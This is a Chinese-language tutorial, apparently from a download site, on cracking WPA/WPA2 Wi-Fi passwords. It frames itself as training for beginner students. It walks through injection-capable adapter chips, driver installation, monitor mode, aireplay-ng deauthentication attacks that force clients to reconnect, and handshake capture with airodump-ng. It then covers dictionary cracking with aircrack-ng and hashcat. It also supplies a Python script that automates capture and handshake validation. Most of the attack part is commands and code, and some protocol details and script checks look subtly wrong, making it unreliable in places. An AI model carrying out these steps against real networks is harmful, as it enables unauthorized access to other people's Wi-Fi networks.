
简介本资源是一份面向Python初学者的网络安全实践小项目聚焦Wi-Fi密码暴力破解原理演示与基础脚本实现适用于学习网络连接机制、自动化测试及密码安全意识培养等教学或实验场景。压缩包共3个文件2个Python脚本1个密码字典文本总大小仅3KB轻量易运行其中主程序负责遍历字典并调用系统命令尝试连接测试脚本用于验证连接逻辑txt文件则提供预设的八位数字密码候选集便于快速上手调试。已有16465人学习下载反映出其在入门级安全实践中的广泛参考价值。读者可直接复现“1秒1次连接尝试”的暴力枚举流程理解Wi-Fi认证交互底层逻辑掌握Python调用系统网络命令、文件读取与异常处理等实用技能并基于该框架拓展字典生成、多线程加速或结果日志记录等进阶功能。1. 别急着写 for 循环Python 暴力破解 WiFi 密码这事99% 的初学者根本没搞清攻击面在哪我带过三届某高校网络安全实训班每届都有至少七八个同学在第二周交来一份“用 Python 破解宿舍 WiFi”的作业——代码能跑通字典也加载了但跑完一整晚连 WPA 握手包都没抓到一个。他们不是技术不行是压根没意识到所谓“暴力破解 WiFi”第一步不是写itertools.product而是确认你手里有没有那个不可替代的黑匣子WPA 四次握手数据包EAPOL frame。没有它Python 再快也是对着空气打拳。这篇不讲怎么调pywifi或scapy的 API就老老实实拆开这个被无数教程跳过的前提从真实网络环境里捕获有效握手包才是整个流程的生死线。如果你正卡在“脚本运行无报错但永远不成功”、或者“扫了一小时只看到 SSID 列表却拿不到密钥验证数据”那这篇就是为你写的。它不承诺帮你绕过任何安全策略但能让你看清——哪些事 Python 真能干哪些事它连门都摸不到。2. 攻击链起点为什么“暴力破解”必须以 WPA 握手包为前提WPA/WPA2 的密钥派生机制决定了离线暴力破解的唯一合法输入是客户端与 AP 完成认证时交换的四次握手帧EAPOL Key frames。这不是玄学是协议层硬性约束PSK预共享密钥不直接参与加密而是通过 PBKDF2-SHA1 和 SSID、AP MAC、Client MAC、nonce 等参数派生出 256-bit 的 PMK再由 PMK 派生出用于加解密的 PTK。整个过程在客户端和 AP 本地完成密钥本身永不在线上传输。所以攻击者无法像嗅探 HTTP 明文那样截获密码只能拿到握手过程中暴露的 nonce 和 MIC消息完整性校验码然后用候选密码反复计算 PMK→PTK→MIC比对是否与抓包中记录的 MIC 一致。这就引出第一个硬门槛你得先让目标设备比如你的测试手机重新触发一次完整认证并在这一瞬间精准捕获四次握手帧。而现实网络中设备通常长期保持连接不会主动重连。因此所有可行方案都绕不开一个动作解除已建立的关联deauthentication强制客户端断开后自动重连——此时才是握手包出现的黄金窗口。提示Wireshark 中过滤eapol可快速定位握手包但仅靠过滤无法保证你捕获的是目标 AP 与目标客户端之间的完整四次交互。实际抓包中常出现碎片化、缺失帧或跨信道错位必须用tshark -r cap.pcap -Y eapol wlan.sa xx:xx:xx:xx:xx:xx -T fields -e frame.number -e eapol.keydes.key_info这类命令逐帧校验关键字段Key Info、Replay Counter、MIC。2.1 为什么pywifi或wifi库在这里完全失效初学者常误以为pywifi的scan_results()能直接返回握手包。这是典型的功能错配pywifi是高层无线管理接口用于连接/断开/扫描其底层依赖操作系统网卡驱动提供的有限控制能力如 Linux 的wpa_supplicant或 Windows 的 Native Wifi API。这些驱动默认不开放原始数据帧注入与接收权限更不会把 EAPOL 帧解析后暴露给 Python 层。它能告诉你“附近有叫 XXX 的 WiFi”但绝不会给你frame[12]的原始字节流。真正需要的是802.11 数据链路层的原始帧收发能力这要求网卡芯片支持 Monitor Mode监听模式且驱动提供nl80211或mac80211接口。常见消费级 USB 网卡中只有 RTL8812AU、RTL8814AU、Atheros AR9271 等少数型号在 Linux 下能稳定启用 Monitor Mode 并支持数据帧注入。Windows 下几乎无解——微软的 NDIS 驱动模型天然屏蔽了原始帧操作。2.2 抓包工具链的真实分工aircrack-ng不是万能胶而是校验器很多教程把aircrack-ng当作“破解神器”其实它在整个链条中只承担一个角色离线 MIC 校验器。它的输入必须是.cap或.hccapx格式文件且该文件内必须包含完整的、时间连续的四次 EAPOL 帧Message 1到Message 4其中Message 1和Message 2提供 AP Nonce 和 Client NonceMessage 3包含 MIC 字段待校验目标。aircrack-ng本身不抓包、不注入、不伪造帧它只是高速计算引擎。因此完整工具链是抓包层airodump-ng持续监听信道捕获 Beacon、Probe Response、EAPOL注入层aireplay-ng --deauth向目标客户端发送伪造的 Deauth 帧触发重连校验层aircrack-ng -w wordlist.txt capture.capPython 在这里能做什么最多封装调用上述命令subprocess.Popen或用scapy构造 Deauth 帧但成功率远低于aireplay-ng的底层优化。想纯 Python 实现意味着你要重写libpcap的内核驱动适配、实现 802.11 MAC 层帧解析、处理信道跳频同步——这已超出初学者范畴接近驱动开发。2.3 实战验证用tshark手动确认握手包有效性别依赖airodump-ng的[ WPA handshake: xx:xx:xx:xx:xx:xx ]提示。它有时会误报比如只抓到 Message 1 和 Message 3。必须人工校验# 从捕获文件中提取所有 EAPOL 帧并按 AP MAC 分组 tshark -r capture.cap -Y eapol -T fields -e wlan.sa -e wlan.da -e eapol.keydes.key_info -e frame.number | sort输出类似aa:bb:cc:dd:ee:ff 11:22:33:44:55:66 0x0109 1234 11:22:33:44:55:66 aa:bb:cc:dd:ee:ff 0x0309 1235 aa:bb:cc:dd:ee:ff 11:22:33:44:55:66 0x0009 1236 11:22:33:44:55:66 aa:bb:cc:dd:ee:ff 0x0209 1237关键看eapol.keydes.key_info字段0x0109 Message 1AP → Client含 ANonce0x0309 Message 2Client → AP含 SNonce、MIC0x0009 Message 3AP → Client含 GTK、MIC0x0209 Message 4Client → AP确认四帧必须连续frame.number 差值 ≤ 3、MAC 地址配对正确、Key Info 值严格匹配。缺一帧aircrack-ng就会报No valid WPA handshakes found。3. 环境准备Linux 兼容网卡 正确驱动三者缺一不可在 Windows 上折腾pywifi或scapy注入 Deauth 帧大概率是浪费时间。Windows 的 NDIS 驱动模型将原始帧操作权限锁死在内核层第三方工具无法绕过。而 Linux 的mac80211子系统明确支持 Monitor Mode 和帧注入且社区维护成熟。这不是偏好问题是技术可行性问题。3.1 网卡选型认准芯片型号而非品牌包装市面标榜“WiFi 攻击”的 USB 网卡90% 是贴牌套壳。必须查清内部芯片✅高兼容性Realtek RTL8812AU (Chipset: RTL8812AU), RTL8814AU, Atheros AR9271⚠️部分支持RTL8188EU需打rtl8188eu-aircrack-ng补丁稳定性差❌完全不支持RTL8192EU、MT7601U、几乎所有 Intel/Qualcomm 芯片驱动不开放注入验证方法Linux 终端# 查看网卡芯片 lspci | grep -i network # PCI 设备 lsusb | grep -i wireless # USB 设备 # 检查是否支持 Monitor Mode sudo iw list | grep -A 10 Supported interface modes | grep monitor # 检查是否支持帧注入关键 sudo iw phy $(basename $(ls /sys/class/ieee80211/)) info | grep -A 15 interface types | grep -q AP echo Inject OK || echo Inject NOT supported若输出Inject NOT supported换网卡。别尝试编译驱动——初学者掉坑概率 100%。3.2 驱动安装用aircrack-ng官方推荐方式拒绝野路子以 RTL8812AU 为例最稳路径是使用aircrack-ng团队维护的rtl8812au-aircrack-ng驱动git clone https://github.com/aircrack-ng/rtl8812au-aircrack-ng.git cd rtl8812au-aircrack-ng sudo apt update sudo apt install bc build-essential dkms libelf-dev linux-headers-$(uname -r) sudo make dkms_install # 加载驱动并启用 Monitor Mode sudo modprobe -r rtl8812au_aircrack_ng sudo modprobe rtl8812au_aircrack_ng sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up注意iw dev wlan0 set type monitor是核心命令。ifconfig wlan0 down iwconfig wlan0 mode monitor是过时写法新版内核已废弃。3.3 信道锁定与干扰规避为什么你总抓不到包airodump-ng默认跳频扫描所有信道1-14但握手包只在客户端重连的瞬间产生持续约 200ms。跳频模式下每个信道驻留时间约 200ms极易错过。必须手动锁定目标 AP 所在信道# 先扫描获取目标 AP 信道 sudo airodump-ng wlan0 # 假设目标 AP 信道为 6则锁定 sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0同时关闭所有可能干扰的进程sudo systemctl stop NetworkManager # 防止 NM 自动接管网卡 sudo systemctl stop wpa_supplicant sudo rfkill unblock wifi4. 避坑五个血泪教训全是新手高频翻车点4.1 现象airodump-ng显示[ WPA handshake: xx:xx:xx ]但aircrack-ng报No handshake原因airodump-ng的提示仅表示它捕获到了某个 EAPOL 帧通常是 Message 1但未确认后续三帧是否完整捕获。常见于信道跳频未锁定、网卡丢包率高、或客户端重连时未处于监听信道。解决用tshark手动校验四帧完整性见 2.3 节锁定信道后重试换用更高增益天线或靠近 AP若仍失败用aireplay-ng --test验证网卡注入能力sudo aireplay-ng -9 -a AA:BB:CC:DD:EE:FF wlan0输出Injection is working!才可信。4.2 现象Deauth 攻击发出但客户端无反应不重连原因目标客户端已启用802.11wProtected Management Frames可抵御伪造 Deauth网卡驱动未正确启用注入aireplay-ng --test失败客户端与 AP 使用 5GHz 频段而你的网卡仅支持 2.4GHz。解决用airodump-ng观察客户端状态栏若显示MFP: Yes则 Deauth 无效需换目标严格执行 3.2 节驱动安装流程sudo iwlist wlan0 channel查看网卡支持信道确保覆盖目标频段。4.3 现象Python 脚本调用subprocess执行aireplay-ng报错SIOCSIFFLAGS: Operation not possible due to RF-kill原因硬件射频开关被禁用rfkill状态为Soft blocked: yes。解决sudo rfkill list # 查看所有设备状态 sudo rfkill unblock wifi # 解除 WiFi 软封锁 sudo rfkill unblock all # 解除全部封锁4.4 现象字典爆破速度极慢 100 H/sCPU 占用率仅 20%原因aircrack-ng默认使用 CPU 单线程计算且未启用 AES-NI 指令集加速现代 Intel/AMD CPU 均支持。解决# 编译时启用 AES-NI需源码编译 ./configure --enable-opt --enable-aesni make sudo make install # 或直接用预编译二进制Ubuntu/Debian sudo apt install aircrack-ng # 验证是否启用aircrack-ng -v输出含 AES-NI 即生效4.5 现象抓到握手包但aircrack-ng校验始终失败字典确定含正确密码原因握手包捕获时AP 或客户端使用了PMFProtected Management Frames导致 EAPOL 帧被加密aircrack-ng无法解析 MIC 字段。解决airodump-ng输出中若#Data列为0且CH列频繁跳变大概率开启 PMF此时需改用hcxpcaptool转换格式并提取 hashcat 兼容哈希hcxpcaptool -z hc22000.hc22000 capture.cap hashcat -m 22000 hc22000.hc22000 wordlist.txt-m 22000是 hashcat 对 WPA/WPA2 的专用模式可处理 PMF 加密握手。5. Python 脚本化封装关键步骤而非重造轮子Python 在此场景的价值是串联已有成熟工具、自动化重复操作、降低人为失误。不要试图用scapy重写aireplay-ng——那是用 Python 写 C 的效率。以下是一个生产级可用的封装脚本框架聚焦三个不可替代环节环境检查、握手包捕获监控、结果校验。#!/usr/bin/env python3 # -*- coding: utf-8 -*- import subprocess import time import sys import os import re def check_environment(): 检查网卡、驱动、RF-Kill 状态 try: # 检查网卡是否存在 result subprocess.run([ip, link, show], capture_outputTrue, textTrue) if wlan0 not in result.stdout: raise RuntimeError(网卡 wlan0 未识别请检查驱动) # 检查 RF-Kill result subprocess.run([rfkill, list], capture_outputTrue, textTrue) if Soft blocked: yes in result.stdout: subprocess.run([sudo, rfkill, unblock, wifi]) print(✓ RF-Kill 已解除) # 检查 Monitor Mode result subprocess.run([iw, dev, wlan0, info], capture_outputTrue, textTrue) if type monitor not in result.stdout: subprocess.run([sudo, ip, link, set, wlan0, down]) subprocess.run([sudo, iw, dev, wlan0, set, type, monitor]) subprocess.run([sudo, ip, link, set, wlan0, up]) print(✓ 已启用 Monitor Mode) except Exception as e: raise RuntimeError(f环境检查失败: {e}) def capture_handshake(bssid, channel, output_prefixcapture): 启动 airodump-ng 捕获握手包超时自动退出 cmd [ sudo, airodump-ng, -c, str(channel), --bssid, bssid, -w, output_prefix, wlan0 ] # 启动捕获后台运行 proc subprocess.Popen(cmd, stdoutsubprocess.DEVNULL, stderrsubprocess.DEVNULL) # 等待握手包生成最长 120 秒 start_time time.time() while time.time() - start_time 120: # 检查 .cap 文件是否包含 EAPOL if os.path.exists(f{output_prefix}-01.cap): result subprocess.run( [tshark, -r, f{output_prefix}-01.cap, -Y, eapol, -c, 1], capture_outputTrue, textTrue ) if result.stdout.strip().isdigit() and int(result.stdout.strip()) 0: proc.terminate() print(f✓ 握手包已捕获: {output_prefix}-01.cap) return f{output_prefix}-01.cap time.sleep(2) proc.terminate() raise TimeoutError(超时未捕获到握手包请检查信道、BSSID 或尝试手动触发重连) def verify_handshake(cap_file): 用 tshark 校验四次握手完整性 try: # 提取所有 EAPOL 帧的关键字段 result subprocess.run([ tshark, -r, cap_file, -Y, eapol, -T, fields, -e, wlan.sa, -e, wlan.da, -e, eapol.keydes.key_info, -e, frame.number ], capture_outputTrue, textTrue) lines [l for l in result.stdout.strip().split(\n) if l] if len(lines) 4: return False, f仅捕获 {len(lines)} 个 EAPOL 帧不足四次握手 # 解析 Key Info 值十六进制 key_infos [] for line in lines: parts line.split(\t) if len(parts) 3: try: key_info int(parts[2], 16) key_infos.append(key_info) except ValueError: continue # 检查是否包含 0x0109, 0x0309, 0x0009, 0x0209 required {0x0109, 0x0309, 0x0009, 0x0209} if required.issubset(set(key_infos)): return True, 四次握手完整 else: missing required - set(key_infos) return False, f缺失关键帧: {[hex(x) for x in missing]} except Exception as e: return False, f校验异常: {e} if __name__ __main__: if len(sys.argv) ! 4: print(用法: python3 wifi_crack_helper.py BSSID CHANNEL OUTPUT_PREFIX) sys.exit(1) bssid, channel, prefix sys.argv[1], sys.argv[2], sys.argv[3] try: check_environment() cap_file capture_handshake(bssid, channel, prefix) is_valid, msg verify_handshake(cap_file) print(f握手包校验: {msg}) if is_valid: print(f✅ 可用于 airckrack-ng: aircrack-ng -w wordlist.txt {cap_file}) else: print(❌ 请重新捕获) except Exception as e: print(f❌ 执行失败: {e})脚本使用说明保存为wifi_helper.py赋予执行权限chmod x wifi_helper.py运行前确保已执行sudo systemctl stop NetworkManager启动命令python3 wifi_helper.py AA:BB:CC:DD:EE:FF 6 mycap脚本自动完成环境检查 → 锁定信道捕获 → 实时检测握手包 → 四帧完整性校验为什么这样设计check_environment()避免因 RF-Kill 或 Monitor Mode 未启用导致全程静默失败capture_handshake()设置 120 秒超时防止无限等待verify_handshake()用tshark原生命令校验比依赖airodump-ng提示更可靠全程不碰密码字典、不调用aircrack-ng破解职责清晰——只做“取证”环节。6. 最终结论把 Python 当作胶水而非锤子回过头看我带的第一届实训班里有个 A 同学花三天重写了scapy的 EAPOL 帧构造逻辑最终在sendp()时因网卡驱动不支持而崩溃而另一个 B 同学用本文脚本框架在两小时内完成了从环境搭建、握手捕获到aircrack-ng校验的全流程。差距不在 Python 水平而在对技术栈边界的认知Python 是胶水粘合tshark、airodump-ng、aireplay-ng这些经过十年战场检验的 C 工具它不该是锤子去砸碎驱动层、协议栈、硬件抽象这些本不属于它的领域。所以这份资源的终极价值不是给你一个“一键破解”的黑盒脚本而是帮你划清三条线能力线Python 能可靠完成的是流程编排、日志分析、结果校验工具线aircrack-ng套件是事实标准别试图用 Python 替代硬件线一块能注入的 RTL8812AU 网卡比写一百行 Python 更重要。从那以后我每次指导新人都强制他们在敲第一行import scapy之前先用sudo iw list确认网卡能力用tshark -Y eapol确认握手包结构用aircrack-ng -J hccapx capture.cap生成标准哈希格式。这三步走完再谈 Python 封装——否则所有代码都是建在流沙上的塔。希望帮到你。本文还有配套的精品资源点击获取